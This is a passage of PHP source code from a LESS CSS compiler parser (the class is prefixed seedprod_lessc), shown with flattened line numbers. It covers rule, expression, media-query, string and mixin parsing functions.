buffer is empty, or when there is an error. 2206 * 2207 * This function is called repeatedly until the entire document is 2208 * parsed. 2209 * 2210 * This parser is most similar to a recursive descent parser. Single 2211 * functions represent discrete grammatical rules for the language, and 2212 * they are able to capture the text that represents those rules. 2213 * 2214 * Consider the function seedprod_lessc::keyword(). (all parse functions are 2215 * structured the same) 2216 * 2217 * The function takes a single reference argument. When calling the 2218 * function it will attempt to match a keyword on the head of the buffer. 2219 * If it is successful, it will place the keyword in the referenced 2220 * argument, advance the position in the buffer, and return true. If it 2221 * fails then it won't advance the buffer and it will return false. 2222 * 2223 * All of these parse functions are powered by seedprod_lessc::match(), which behaves 2224 * the same way, but takes a literal regular expression. Sometimes it is 2225 * more convenient to use match instead of creating a new function. 2226 * 2227 * Because of the format of the functions, to parse an entire string of 2228 * grammatical rules, you can chain them together using &&. 2229 * 2230 * But, if some of the rules in the chain succeed before one fails, then 2231 * the buffer position will be left at an invalid state. In order to 2232 * avoid this, seedprod_lessc::seek() is used to remember and set buffer positions. 2233 * 2234 * Before parsing a chain, use $s = $this->seek() to remember the current 2235 * position into $s. Then if a chain fails, use $this->seek($s) to 2236 * go back where we started. 2237 */ 2238 protected function parseChunk() { 2239 if ( empty( $this->buffer ) ) { 2240 return false; 2241 } 2242 $s = $this->seek(); 2243 2244 // setting a property 2245 if ( $this->keyword( $key ) && $this->assign() && 2246 $this->propertyValue( $value, $key ) && $this->end() ) { 2247 $this->append( array( 'assign', $key, $value ), $s ); 2248 return true; 2249 } else { 2250 $this->seek( $s ); 2251 } 2252 2253 // look for special css blocks 2254 if ( $this->literal( '@', false ) ) { 2255 $this->count--; 2256 2257 // media 2258 if ( $this->literal( '@media' ) ) { 2259 if ( ( $this->mediaQueryList( $mediaQueries ) || true ) 2260 && $this->literal( '{' ) ) { 2261 $media = $this->pushSpecialBlock( 'media' ); 2262 $media->queries = is_null( $mediaQueries ) ? array() : $mediaQueries; 2263 return true; 2264 } else { 2265 $this->seek( $s ); 2266 return false; 2267 } 2268 } 2269 2270 if ( $this->literal( '@', false ) && $this->keyword( $dirName ) ) { 2271 if ( $this->isDirective( $dirName, $this->blockDirectives ) ) { 2272 if ( ( $this->openString( '{', $dirValue, null, array( ';' ) ) || true ) && 2273 $this->literal( '{' ) ) { 2274 $dir = $this->pushSpecialBlock( 'directive' ); 2275 $dir->name = $dirName; 2276 if ( isset( $dirValue ) ) { 2277 $dir->value = $dirValue; 2278 } 2279 return true; 2280 } 2281 } elseif ( $this->isDirective( $dirName, $this->lineDirectives ) ) { 2282 if ( $this->propertyValue( $dirValue ) && $this->end() ) { 2283 $this->append( array( 'directive', $dirName, $dirValue ) ); 2284 return true; 2285 } 2286 } 2287 } 2288 2289 $this->seek( $s ); 2290 } 2291 2292 // setting a variable 2293 if ( $this->variable( $var ) && $this->assign() && 2294 $this->propertyValue( $value ) && $this->end() ) { 2295 $this->append( array( 'assign', $var, $value ), $s ); 2296 return true; 2297 } else { 2298 $this->seek( $s ); 2299 } 2300 2301 if ( $this->import( $importValue ) ) { 2302 $this->append( $importValue, $s ); 2303 return true; 2304 } 2305 2306 // opening parametric mixin 2307 if ( $this->tag( $tag, true ) && $this->argumentDef( $args, $isVararg ) && 2308 ( $this->guards( $guards ) || true ) && 2309 $this->literal( '{' ) ) { 2310 $block = $this->pushBlock( $this->fixTags( array( $tag ) ) ); 2311 $block->args = $args; 2312 $block->isVararg = $isVararg; 2313 if ( ! empty( $guards ) ) { 2314 $block->guards = $guards; 2315 } 2316 return true; 2317 } else { 2318 $this->seek( $s ); 2319 } 2320 2321 // opening a simple block 2322 if ( $this->tags( $tags ) && $this->literal( '{' ) ) { 2323 $tags = $this->fixTags( $tags ); 2324 $this->pushBlock( $tags ); 2325 return true; 2326 } else { 2327 $this->seek( $s ); 2328 } 2329 2330 // closing a block 2331 if ( $this->literal( '}', false ) ) { 2332 try { 2333 $block = $this->pop(); 2334 } catch ( exception $e ) { 2335 $this->seek( $s ); 2336 $this->throwError( $e->getMessage() ); 2337 } 2338 2339 $hidden = false; 2340 if ( is_null( $block->type ) ) { 2341 $hidden = true; 2342 if ( ! isset( $block->args ) ) { 2343 foreach ( $block->tags as $tag ) { 2344 if ( ! is_string( $tag ) || $tag[0] != $this->seedprod_lessc->mPrefix ) { 2345 $hidden = false; 2346 break; 2347 } 2348 } 2349 } 2350 2351 foreach ( $block->tags as $tag ) { 2352 if ( is_string( $tag ) ) { 2353 $this->env->children[ $tag ][] = $block; 2354 } 2355 } 2356 } 2357 2358 if ( ! $hidden ) { 2359 $this->append( array( 'block', $block ), $s ); 2360 } 2361 2362 // this is done here so comments aren't bundled into he block that 2363 // was just closed 2364 $this->whitespace(); 2365 return true; 2366 } 2367 2368 // mixin 2369 if ( $this->mixinTags( $tags ) && 2370 ( $this->argumentValues( $argv ) || true ) && 2371 ( $this->keyword( $suffix ) || true ) && $this->end() ) { 2372 $tags = $this->fixTags( $tags ); 2373 $this->append( array( 'mixin', $tags, $argv, $suffix ), $s ); 2374 return true; 2375 } else { 2376 $this->seek( $s ); 2377 } 2378 2379 // spare ; 2380 if ( $this->literal( ';' ) ) { 2381 return true; 2382 } 2383 2384 return false; // got nothing, throw error 2385 } 2386 2387 protected function isDirective( $dirname, $directives ) { 2388 // TODO: cache pattern in parser 2389 $pattern = implode( 2390 '|', 2391 array_map( array( 'seedprod_lessc', 'preg_quote' ), $directives ) 2392 ); 2393 $pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i'; 2394 2395 return preg_match( $pattern, $dirname ); 2396 } 2397 2398 protected function fixTags( $tags ) { 2399 // move @ tags out of variable namespace 2400 foreach ( $tags as &$tag ) { 2401 if ( $tag[0] == $this->seedprod_lessc->vPrefix ) { 2402 $tag[0] = $this->seedprod_lessc->mPrefix; 2403 } 2404 } 2405 return $tags; 2406 } 2407 2408 // a list of expressions 2409 protected function expressionList( &$exps ) { 2410 $values = array(); 2411 2412 while ( $this->expression( $exp ) ) { 2413 $values[] = $exp; 2414 } 2415 2416 if ( count( $values ) == 0 ) { 2417 return false; 2418 } 2419 2420 $exps = seedprod_lessc::compressList( $values, ' ' ); 2421 return true; 2422 } 2423 2424 /** 2425 * Attempt to consume an expression. 2426 * @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code 2427 */ 2428 protected function expression( &$out ) { 2429 if ( $this->value( $lhs ) ) { 2430 $out = $this->expHelper( $lhs, 0 ); 2431 2432 // look for / shorthand 2433 if ( ! empty( $this->env->supressedDivision ) ) { 2434 unset( $this->env->supressedDivision ); 2435 $s = $this->seek(); 2436 if ( $this->literal( '/' ) && $this->value( $rhs ) ) { 2437 $out = array( 2438 'list', 2439 '', 2440 array( $out, array( 'keyword', '/' ), $rhs ), 2441 ); 2442 } else { 2443 $this->seek( $s ); 2444 } 2445 } 2446 2447 return true; 2448 } 2449 return false; 2450 } 2451 2452 /** 2453 * recursively parse infix equation with $lhs at precedence $minP 2454 */ 2455 protected function expHelper( $lhs, $minP ) { 2456 $this->inExp = true; 2457 $ss = $this->seek(); 2458 2459 while ( true ) { 2460 $whiteBefore = isset( $this->buffer[ $this->count - 1 ] ) && 2461 ctype_space( $this->buffer[ $this->count - 1 ] ); 2462 2463 // If there is whitespace before the operator, then we require 2464 // whitespace after the operator for it to be an expression 2465 $needWhite = $whiteBefore && ! $this->inParens; 2466 2467 if ( $this->match( self::$operatorString . ( $needWhite ? '\s' : '' ), $m ) && self::$precedence[ $m[1] ] >= $minP ) { 2468 if ( ! $this->inParens && isset( $this->env->currentProperty ) && $m[1] == '/' && empty( $this->env->supressedDivision ) ) { 2469 foreach ( self::$supressDivisionProps as $pattern ) { 2470 if ( preg_match( $pattern, $this->env->currentProperty ) ) { 2471 $this->env->supressedDivision = true; 2472 break 2; 2473 } 2474 } 2475 } 2476 2477 $whiteAfter = isset( $this->buffer[ $this->count - 1 ] ) && 2478 ctype_space( $this->buffer[ $this->count - 1 ] ); 2479 2480 if ( ! $this->value( $rhs ) ) { 2481 break; 2482 } 2483 2484 // peek for next operator to see what to do with rhs 2485 if ( $this->peek( self::$operatorString, $next ) && self::$precedence[ $next[1] ] > self::$precedence[ $m[1] ] ) { 2486 $rhs = $this->expHelper( $rhs, self::$precedence[ $next[1] ] ); 2487 } 2488 2489 $lhs = array( 'expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter ); 2490 $ss = $this->seek(); 2491 2492 continue; 2493 } 2494 2495 break; 2496 } 2497 2498 $this->seek( $ss ); 2499 2500 return $lhs; 2501 } 2502 2503 // consume a list of values for a property 2504 public function propertyValue( &$value, $keyName = null ) { 2505 $values = array(); 2506 2507 if ( $keyName !== null ) { 2508 $this->env->currentProperty = $keyName; 2509 } 2510 2511 $s = null; 2512 while ( $this->expressionList( $v ) ) { 2513 $values[] = $v; 2514 $s = $this->seek(); 2515 if ( ! $this->literal( ',' ) ) { 2516 break; 2517 } 2518 } 2519 2520 if ( $s ) { 2521 $this->seek( $s ); 2522 } 2523 2524 if ( $keyName !== null ) { 2525 unset( $this->env->currentProperty ); 2526 } 2527 2528 if ( count( $values ) == 0 ) { 2529 return false; 2530 } 2531 2532 $value = seedprod_lessc::compressList( $values, ', ' ); 2533 return true; 2534 } 2535 2536 protected function parenValue( &$out ) { 2537 $s = $this->seek(); 2538 2539 // speed shortcut 2540 if ( isset( $this->buffer[ $this->count ] ) && $this->buffer[ $this->count ] != '(' ) { 2541 return false; 2542 } 2543 2544 $inParens = $this->inParens; 2545 if ( $this->literal( '(' ) && 2546 ( $this->inParens = true ) && $this->expression( $exp ) && 2547 $this->literal( ')' ) ) { 2548 $out = $exp; 2549 $this->inParens = $inParens; 2550 return true; 2551 } else { 2552 $this->inParens = $inParens; 2553 $this->seek( $s ); 2554 } 2555 2556 return false; 2557 } 2558 2559 // a single value 2560 protected function value( &$value ) { 2561 $s = $this->seek(); 2562 2563 // speed shortcut 2564 if ( isset( $this->buffer[ $this->count ] ) && $this->buffer[ $this->count ] == '-' ) { 2565 // negation 2566 if ( $this->literal( '-', false ) && 2567 ( ( $this->variable( $inner ) && $inner = array( 'variable', $inner ) ) || 2568 $this->unit( $inner ) || 2569 $this->parenValue( $inner ) ) ) { 2570 $value = array( 'unary', '-', $inner ); 2571 return true; 2572 } else { 2573 $this->seek( $s ); 2574 } 2575 } 2576 2577 if ( $this->parenValue( $value ) ) { 2578 return true; 2579 } 2580 if ( $this->unit( $value ) ) { 2581 return true; 2582 } 2583 if ( $this->color( $value ) ) { 2584 return true; 2585 } 2586 if ( $this->func( $value ) ) { 2587 return true; 2588 } 2589 if ( $this->lstring( $value ) ) { 2590 return true; 2591 } 2592 2593 if ( $this->keyword( $word ) ) { 2594 $value = array( 'keyword', $word ); 2595 return true; 2596 } 2597 2598 // try a variable 2599 if ( $this->variable( $var ) ) { 2600 $value = array( 'variable', $var ); 2601 return true; 2602 } 2603 2604 // unquote string (should this work on any type? 2605 if ( $this->literal( '~' ) && $this->lstring( $str ) ) { 2606 $value = array( 'escape', $str ); 2607 return true; 2608 } else { 2609 $this->seek( $s ); 2610 } 2611 2612 // css hack: \0 2613 if ( $this->literal( '\\' ) && $this->match( '([0-9]+)', $m ) ) { 2614 $value = array( 'keyword', '\\' . $m[1] ); 2615 return true; 2616 } else { 2617 $this->seek( $s ); 2618 } 2619 2620 return false; 2621 } 2622 2623 // an import statement 2624 protected function import( &$out ) { 2625 $s = $this->seek(); 2626 if ( ! $this->literal( '@import' ) ) { 2627 return false; 2628 } 2629 2630 // @import "something.css" media; 2631 // @import url("something.css") media; 2632 // @import url(something.css) media; 2633 2634 if ( $this->propertyValue( $value ) ) { 2635 $out = array( 'import', $value ); 2636 return true; 2637 } 2638 } 2639 2640 protected function mediaQueryList( &$out ) { 2641 if ( $this->genericList( $list, 'mediaQuery', ',', false ) ) { 2642 $out = $list[2]; 2643 return true; 2644 } 2645 return false; 2646 } 2647 2648 protected function mediaQuery( &$out ) { 2649 $s = $this->seek(); 2650 2651 $expressions = null; 2652 $parts = array(); 2653 2654 if ( ( $this->literal( 'only' ) && ( $only = true ) || $this->literal( 'not' ) && ( $not = true ) || true ) && $this->keyword( $mediaType ) ) { 2655 $prop = array( 'mediaType' ); 2656 if ( isset( $only ) ) { 2657 $prop[] = 'only'; 2658 } 2659 if ( isset( $not ) ) { 2660 $prop[] = 'not'; 2661 } 2662 $prop[] = $mediaType; 2663 $parts[] = $prop; 2664 } else { 2665 $this->seek( $s ); 2666 } 2667 2668 if ( ! empty( $mediaType ) && ! $this->literal( 'and' ) ) { 2669 // ~ 2670 } else { 2671 $this->genericList( $expressions, 'mediaExpression', 'and', false ); 2672 if ( is_array( $expressions ) ) { 2673 $parts = array_merge( $parts, $expressions[2] ); 2674 } 2675 } 2676 2677 if ( count( $parts ) == 0 ) { 2678 $this->seek( $s ); 2679 return false; 2680 } 2681 2682 $out = $parts; 2683 return true; 2684 } 2685 2686 protected function mediaExpression( &$out ) { 2687 $s = $this->seek(); 2688 $value = null; 2689 if ( $this->literal( '(' ) && 2690 $this->keyword( $feature ) && 2691 ( $this->literal( ':' ) && $this->expression( $value ) || true ) && 2692 $this->literal( ')' ) ) { 2693 $out = array( 'mediaExp', $feature ); 2694 if ( $value ) { 2695 $out[] = $value; 2696 } 2697 return true; 2698 } 2699 2700 $this->seek( $s ); 2701 return false; 2702 } 2703 2704 // an unbounded string stopped by $end 2705 protected function openString( $end, &$out, $nestingOpen = null, $rejectStrs = null ) { 2706 $oldWhite = $this->eatWhiteDefault; 2707 $this->eatWhiteDefault = false; 2708 2709 $stop = array( "'", '"', '@{', $end ); 2710 $stop = array_map( array( 'seedprod_lessc', 'preg_quote' ), $stop ); 2711 // $stop[] = self::$commentMulti; 2712 2713 if ( ! is_null( $rejectStrs ) ) { 2714 $stop = array_merge( $stop, $rejectStrs ); 2715 } 2716 2717 $patt = '(.*?)(' . implode( '|', $stop ) . ')'; 2718 2719 $nestingLevel = 0; 2720 2721 $content = array(); 2722 while ( $this->match( $patt, $m, false ) ) { 2723 if ( ! empty( $m[1] ) ) { 2724 $content[] = $m[1]; 2725 if ( $nestingOpen ) { 2726 $nestingLevel += substr_count( $m[1], $nestingOpen ); 2727 } 2728 } 2729 2730 $tok = $m[2]; 2731 2732 $this->count -= strlen( $tok ); 2733 if ( $tok == $end ) { 2734 if ( $nestingLevel == 0 ) { 2735 break; 2736 } else { 2737 $nestingLevel--; 2738 } 2739 } 2740 2741 if ( ( $tok == "'" || $tok == '"' ) && $this->lstring( $str ) ) { 2742 $content[] = $str; 2743 continue; 2744 } 2745 2746 if ( $tok == '@{' && $this->interpolation( $inter ) ) { 2747 $content[] = $inter; 2748 continue; 2749 } 2750 2751 if ( in_array( $tok, $rejectStrs ) ) { 2752 $count = null; 2753 break; 2754 } 2755 2756 $content[] = $tok; 2757 $this->count += strlen( $tok ); 2758 } 2759 2760 $this->eatWhiteDefault = $oldWhite; 2761 2762 if ( count( $content ) == 0 ) { 2763 return false; 2764 } 2765 2766 // trim the end 2767 if ( is_string( end( $content ) ) ) { 2768 $content[ count( $content ) - 1 ] = rtrim( end( $content ) ); 2769 } 2770 2771 $out = array( 'string', '', $content ); 2772 return true; 2773 } 2774 2775 protected function lstring( &$out ) { 2776 $s = $this->seek(); 2777 if ( $this->literal( '"', false ) ) { 2778 $delim = '"'; 2779 } elseif ( $this->literal( "'", false ) ) { 2780 $delim = "'"; 2781 } else { 2782 return false; 2783 } 2784 2785 $content = array(); 2786 2787 // look for either ending delim , escape, or string interpolation 2788 $patt = '([^\n]*?)(@\{|\\\\|' . 2789 seedprod_lessc::preg_quote( $delim ) . ')'; 2790 2791 $oldWhite = $this->eatWhiteDefault; 2792 $this->eatWhiteDefault = false; 2793 2794 while ( $this->match( $patt, $m, false ) ) { 2795 $content[] = $m[1]; 2796 if ( $m[2] == '@{' ) { 2797 $this->count -= strlen( $m[2] ); 2798 if ( $this->interpolation( $inter, false ) ) { 2799 $content[] = $inter; 2800 } else { 2801 $this->count += strlen( $m[2] ); 2802 $content[] = '@{'; // ignore it 2803 } 2804 } elseif ( $m[2] == '\\' ) { 2805 $content[] = $m[2]; 2806 if ( $this->literal( $delim, false ) ) { 2807 $content[] = $delim; 2808 } 2809 } else { 2810 $this->count -= strlen( $delim ); 2811 break; // delim 2812 } 2813 } 2814 2815 $this->eatWhiteDefault = $oldWhite; 2816 2817 if ( $this->literal( $delim ) ) { 2818 $out = array( 'string', $delim, $content ); 2819 return true; 2820 } 2821 2822 $this->seek( $s ); 2823 return false; 2824 } 2825 2826 protected function interpolation( &$out ) { 2827 $oldWhite = $this->eatWhiteDefault; 2828 $this->eatWhiteDefault = true; 2829 2830 $s = $this->seek(); 2831 if ( $this->literal( '@{' ) && 2832 $this->keyword( $var ) && 2833 $this->literal( '}', false ) ) { 2834 $out = array( 'variable', $this->seedprod_lessc->vPrefix . $var ); 2835 $this->eatWhiteDefault = $oldWhite; 2836 if ( $this->eatWhiteDefault ) { 2837 $this->whitespace(); 2838 } 2839 return true; 2840 } 2841 2842 $this->eatWhiteDefault = $oldWhite; 2843 $this->seek( $s ); 2844 return false; 2845 } 2846 2847 protected function unit( &$unit ) { 2848 // speed shortcut 2849 if ( isset( $this->buffer[ $this->count ] ) ) { 2850 $char = $this->buffer[ $this->count ]; 2851 if ( ! ctype_digit( $char ) && $char != '.' ) { 2852 return false; 2853 } 2854 } 2855 2856 if ( $this->match( '([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m ) ) { 2857 $unit = array( 'number', $m[1], empty( $m[2] ) ? '' : $m[2] ); 2858 return true; 2859 } 2860 return false; 2861 } 2862 2863 // a # color 2864 protected function color( &$out ) { 2865 if ( $this->match( '(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m ) ) { 2866 if ( strlen( $m[1] ) > 7 ) { 2867 $out = array( 'string', '', array( $m[1] ) ); 2868 } else { 2869 $out = array( 'raw_color', $m[1] ); 2870 } 2871 return true; 2872 } 2873 2874 return false; 2875 } 2876 2877 // consume a list of property values delimited by ; and wrapped in () 2878 protected function argumentValues( &$args, $delim = ',' ) { 2879 $s = $this->seek(); 2880 if ( ! $this->literal( '(' ) ) { 2881 return false; 2882 } 2883 2884 $values = array(); 2885 while ( true ) { 2886 if ( $this->expressionList( $value ) ) { 2887 $values[] = $value; 2888 } 2889 if ( ! $this->literal( $delim ) ) { 2890 break; 2891 } else { 2892 if ( $value == null ) { 2893 $values[] = null; 2894 } 2895 $value = null; 2896 } 2897 } 2898 2899 if ( ! $this->literal( ')' ) ) { 2900 $this->seek( $s ); 2901 return false; 2902 } 2903 2904 $args = $values; 2905 return true; 2906 } 2907 2908 // consume an argument definition list surrounded by () 2909 // each argument is a variable name with optional value 2910 // or at the end a ... or a variable named followed by ... 2911 protected function argumentDef( &$args, &$isVararg, $delim = ',' ) { 2912 $s = $this->seek(); 2913 if ( ! $this->literal( '(' ) ) { 2914 return false; 2915 } 2916 2917 $values = array(); 2918 2919 $isVararg = false; 2920 while ( true ) { 2921 if ( $this->literal( '...' ) ) { 2922 $isVararg = true; 2923 break; 2924 } 2925 2926 if ( $this->variable( $vname ) ) { 2927 $arg = array( 'arg', $vname ); 2928 $ss = $this->seek(); 2929 if ( $this->assign() && $this->expressionList( $value ) ) { 2930 $arg[] = $value; 2931 } else { 2932 $this->seek( $ss ); 2933 if ( $this->literal( '...' ) ) { 2934 $arg[0] = 'rest'; 2935 $isVararg = true; 2936 } 2937 } 2938 $values[] = $arg; 2939 if ( $isVararg ) { 2940 break; 2941 } 2942 continue; 2943 } 2944 2945 if ( $this->value( $literal ) ) { 2946 $values[] = array( 'lit', $literal ); 2947 } 2948 2949 if ( ! $this->literal( $delim ) ) { 2950 break; 2951 } 2952 } 2953 2954 if ( ! $this->literal( ')' ) ) { 2955 $this->seek( $s ); 2956 return false; 2957 } 2958 2959 $args = $values; 2960 2961 return true; 2962 } 2963 2964 // consume a list of tags 2965 // this accepts a hanging delimiter 2966 protected function tags( &$tags, $simple = false, $delim = ',' ) { 2967 $tags = array(); 2968 while ( $this->tag( $tt, $simple ) ) { 2969 $tags[] = $tt; 2970 if ( ! $this->literal( $delim ) ) { 2971 break; 2972 } 2973 } 2974 if ( count( $tags ) == 0 ) { 2975 return false; 2976 } 2977 2978 return true; 2979 } 2980 2981 // list of tags of specifying mixin path 2982 // optionally separated by > (lazy, accepts extra >) 2983 protected function mixinTags( &$tags ) { 2984 $s = $this->seek(); 2985 $tags = array(); 2986 while ( $this->tag( $tt, true ) ) { 2987 $tags[] = $tt; 2988 $this->literal( '>' ); 2989 } 2990 2991 if ( count( $tags ) == 0 ) { 2992 return false; 2993 } 2994 2995 return true; 2996 } 2997 2998 // a bracketed value (contained within in a tag definition) 2999 protected function tagBracket( &$value ) { 3000 // speed shortcut 3001 if ( isset( $this->buffer[ $this->count ] ) && $this->buffer[ $this->count ] != '[' ) { 3002 return false; 3003 } 3004 3005 $s = $this->seek(); 3006 if ( $this->literal( '[' ) && $this->to( ']', $c, true ) && $this->literal( ']', false ) ) { 3007 $value = '[' . $c . ']'; 3008 // whitespace? 3009 if ( $this->whitespace() ) { 3010 $value .= ' '; 3011 } 3012 3013 // escape parent selector, (yuck) 3014 $value = str_replace( $this->seedprod_lessc->parentSelector, '$&$', $value ); 3015 return true; 3016 } 3017 3018 $this->seek( $s ); 3019 return false; 3020 } 3021 3022 protected function tagExpression( &$value ) { 3023 $s = $this->seek(); 3024 if ( $this->literal( '(' ) && $this->expression( $exp ) && $this->literal( ')' ) ) { 3025 $value = array( 'exp', $exp ); 3026 return true; 3027 } 3028 3029 $this->seek( $s ); 3030 return false; 3031 } 3032 3033 // a single tag 3034 protected function tag( &$tag, $simple = false ) { 3035 if ( $simple ) { 3036 $chars = '^,:;{}\][>\(\) "\''; 3037 } else { 3038 $chars = '^,;{}["\''; 3039 } 3040 3041 if ( ! $simple && $this->tagExpression( $tag ) ) { 3042 return true; 3043 } 3044 3045 $tag = ''; 3046 while ( $this->tagBracket( $first ) ) { 3047 $tag .= $first; 3048 } 3049 3050 while ( true ) { 3051 if ( $this->match( '([' . $chars . '0-9][' . $chars . ']*)', $m ) ) { 3052 $tag .= $m[1]; 3053 if ( $simple ) { 3054 break; 3055 } 3056 3057 while ( $this->tagBracket( $brack ) ) { 3058 $tag .= $brack; 3059 } 3060 continue; 3061 } elseif ( $this->unit( $unit ) ) { // for keyframes 3062 $tag .= $unit[1] . $unit[2]; 3063 continue; 3064 } 3065 break; 3066 } 3067 3068 $tag = trim( $tag ); 3069 if ( $tag == '' ) { 3070 return false; 3071 } 3072 3073 return true; 3074 } 3075 3076 // a css function 3077 protected function func( &$func ) { 3078 $s = $this->seek(); 3079 3080 if ( $this->match( '(%|[\w\-_][\w\-_:\.]+|[\w_])', $m ) && $this->literal( '(' ) ) { 3081 $fname = $m[1]; 3082 3083 $sPreArgs = $this->seek(); 3084 3085 $args = array(); 3086 while ( true ) { 3087 $ss = $this->seek(); 3088 // this ugly nonsense is for ie filter properties 3089 if ( $this->keyword( $name ) && $this->literal( '=' ) && $this->expressionList( $value ) ) { 3090 $args[] = array( 'string', '', array( $name, '=', $value ) ); 3091 } else { 3092 $this->seek( $ss ); 3093 if ( $this->expressionList( $value ) ) { 3094 $args[] = $value; 3095 } 3096 } 3097 3098 if ( ! $this->literal( ',' ) ) { 3099 break; 3100 } 3101 } 3102 $args = array( 'list', ',', $args ); 3103 3104 if ( $this->literal( ')' ) ) { 3105 $func = array( 'function', $fname, $args ); 3106 return true; 3107 } elseif ( $fname == 'url' ) { 3108 // couldn't parse and in url? treat as string 3109 $this->seek( $sPreArgs ); 3110 if ( $this->openString( ')', $string ) && $this->literal( ')' ) ) { 3111 $func = array( 'function', $fname, $string ); 3112 return true; 3113 } 3114 } 3115 } 3116 3117 $this->seek( $s ); 3118 return false; 3119 } 3120 3121 // consume a less variable 3122 protected function variable( &$name ) { 3123 $s = $this->seek(); 3124 if ( $this->literal( $this->seedprod_lessc->vPrefix, false ) && 3125 ( $this->variable( $sub ) || $this->keyword( $name ) ) ) { 3126 if ( ! empty( $sub ) ) { 3127 $name = array( 'variable', $sub ); 3128 } else { 3129 $name = $this->seedprod_lessc->vPrefix . $name; 3130 } 3131 return true; 3132 } 3133 3134 $name = null; 3135 $this->seek( $s ); 3136 return false; 3137 } 3138 3139 /** 3140 * Consume an assignment operator 3141 * Can optionally take a name that will be set to the current property name 3142 */ 3143 protected function assign( $name = null ) { 3144 if ( $name ) { 3145 $this->currentProperty = $name; 3146 } 3147 return $this->literal( ':' ) || $this->literal( '=' ); 3148 } 3149 3150 // consume a keyword 3151 protected function keyword( &$word ) { 3152 if ( $this->match( '([\w_\-\*!"][\w\-_"]*)', $m ) ) { 3153 $word = $m[1]; 3154 return true; 3155 } 3156 return false; 3157 } 3158 3159 // consume an end of statement delimiter 3160 protected function end() { 3161 if ( $this->literal( ';' ) ) { 3162 return true; 3163 } elseif ( $this->count == strlen( $this->buffer ) || $this->buffer[ $this->count ] == '}' ) { 3164 // if there is end of file or a closing block next then we don't need a ; 3165 return true; 3166 } 3167 return false; 3168 } 3169 3170 protected function guards( &$guards ) { 3171 $s = $this->seek(); 3172 3173 if ( ! $this->literal( 'when' ) ) { 3174 $this->seek( $s ); 3175 return false; 3176 } 3177 3178 $guards = array(); 3179 3180 while ( $this->guardGroup( $g ) ) { 3181 $guards[] = $g; 3182 if ( ! $this->literal( ',' ) ) { 3183 break; 3184 } 3185 } 3186 3187 if ( count( $guards ) == 0 ) { 3188 $guards = null; 3189 $this->seek( $s ); 3190 return false; 3191 } 3192 3193 return true; 3194 } 3195 3196 // a bunch of guards that are and'd together 3197 // TODO rename to guardGroup 3198 protected function guardGroup( &$guardGroup ) { 3199 $s = $this->seek(); 3200 $guardGroup = array(); 3201 while ( $this->guard( $guard ) ) { 3202 $guardGroup[] = $guard; 3203 if ( ! $this->literal( 'and' ) ) { 3204 break; 3205 } 3206 } 3207 3208 if ( count( $guardGroup ) == 0 ) { 3209 $guardGroup = null; 3210 $this->seek( $s ); 3211 return false; 3212 } 3213 3214 return true; 3215 } 3216 3217 protected function guard( &$guard ) { 3218 $s = $this->seek(); 3219 $negate = $this->literal( 'not' ); 3220 3221 if ( $this->literal( '(' ) && $this->expression( $exp ) && $this->literal( ')' ) ) { 3222 $guard = $exp; 3223 if ( $negate ) { 3224 $guard = array( 'negate', $guard ); 3225 } 3226 return true; 3227 } 3228 3229 $this->seek( $s ); 3230 return false; 3231 } 3232 3233 /* raw parsing functions */ 3234 3235 protected function literal( $what, $eatWhitespace = null ) { 3236 if ( $eatWhitespace === null ) { 3237 $eatWhitespace = $this->eatWhiteDefault; 3238 } 3239 3240 // shortcut on single letter 3241 if ( ! isset( $what[1] ) && isset( $this->buffer[ $this->count ] ) ) { 3242 if ( $this->buffer[ $this->count ] == $what ) { 3243 if ( ! $eatWhitespace ) { 3244 $this->count++; 3245 return true; 3246 } 3247 // goes below... 3248 } else { 3249 return false; 3250 } 3251 } 3252 3253 if ( ! isset( self::$literalCache[ $what ] ) ) { 3254 self::$literalCache[ $what ] = seedprod_lessc::preg_quote( $what ); 3255 } 3256 3257 return $this->match( self::$literalCache[ $what ], $m, $eatWhitespace ); 3258 } 3259 3260 protected function genericList( &$out, $parseItem, $delim = '', $flatten = true ) { 3261 $s = $this->seek(); 3262 $items = array(); 3263 while ( $this->$parseItem( $value ) ) { 3264 $items[] = $value; 3265 if ( $delim ) { 3266 if ( ! $this->literal( $delim ) ) { 3267 break; 3268 } 3269 } 3270 } 3271 3272 if ( count( $items ) == 0 ) { 3273 $this->seek( $s ); 3274 return false; 3275 } 3276 3277 if ( $flatten && count( $items ) == 1 ) { 3278 $out = $items[0]; 3279 } else { 3280 $out = array( 'list', $delim, $items ); 3281 } 3282 3283 return true; 3284 } 3285 3286 3287 // advance counter to next occurrence of $what 3288 // $until - don't include $what in advance 3289 // $allowNewline, if string, will be used as valid char set 3290 protected function to( $what, &$out, $until = false, $allowNewline = false ) { 3291 if ( is_string( $allowNewline ) ) { 3292 $validChars = $allowNewline; 3293 } else { 3294 $validChars = $allowNewline ? '.' : "[^\n]"; 3295 } 3296 if ( ! $this->match( '(' . $validChars . '*?)' . seedprod_lessc::preg_quote( $what ), $m, ! $until ) ) { 3297 return false; 3298 } 3299 if ( $until ) { 3300 $this->count -= strlen( $what ); // give back $what 3301 } 3302 $out = $m[1]; 3303 return true; 3304 } 3305 3306 // try to match something on head of buffer 3307 protected function match( $regex, &$out, $eatWhitespace = null ) { 3308 if ( $eatWhitespace === null ) { 3309 $eatWhitespace = $this->eatWhiteDefault; 3310 } 3311 3312 $r = '/' . $regex . ( $eatWhitespace && ! $this->writeComments ? '\s*' : '' ) . '/Ais'; 3313 if ( preg_match( $r, $this->buffer, $out, null, $this->count ) ) { 3314 $this->count += strlen( $out[0] ); 3315 if ( $eatWhitespace && $this->writeComments ) { 3316 $this->whitespace(); 3317 } 3318 return true; 3319 } 3320 return false; 3321 } 3322 3323 // match some whitespace 3324 protected function whitespace() { 3325 if ( $this->writeComments ) { 3326 $gotWhite = false; 3327 while ( preg_match( self::$whitePattern, $this->buffer, $m, null, $this->count ) ) { 3328 if ( isset( $m[1] ) && empty( $this->commentsSeen[ $this->count ] ) ) { 3329 $this->append( array( 'comment', $m[1] ) ); 3330 $this->commentsSeen[ $this->count ] = true; 3331 } 3332 $this->count += strlen( $m[0] ); 3333 $gotWhite = true; 3334 } 3335 return $gotWhite; 3336 } else { 3337 $this->match( '', $m ); 3338 return strlen( $m[0] ) > 0; 3339 } 3340 } 3341 3342 // match something without consuming it 3343 protected function peek( $regex, &$out = null, $from = null ) { 3344 if 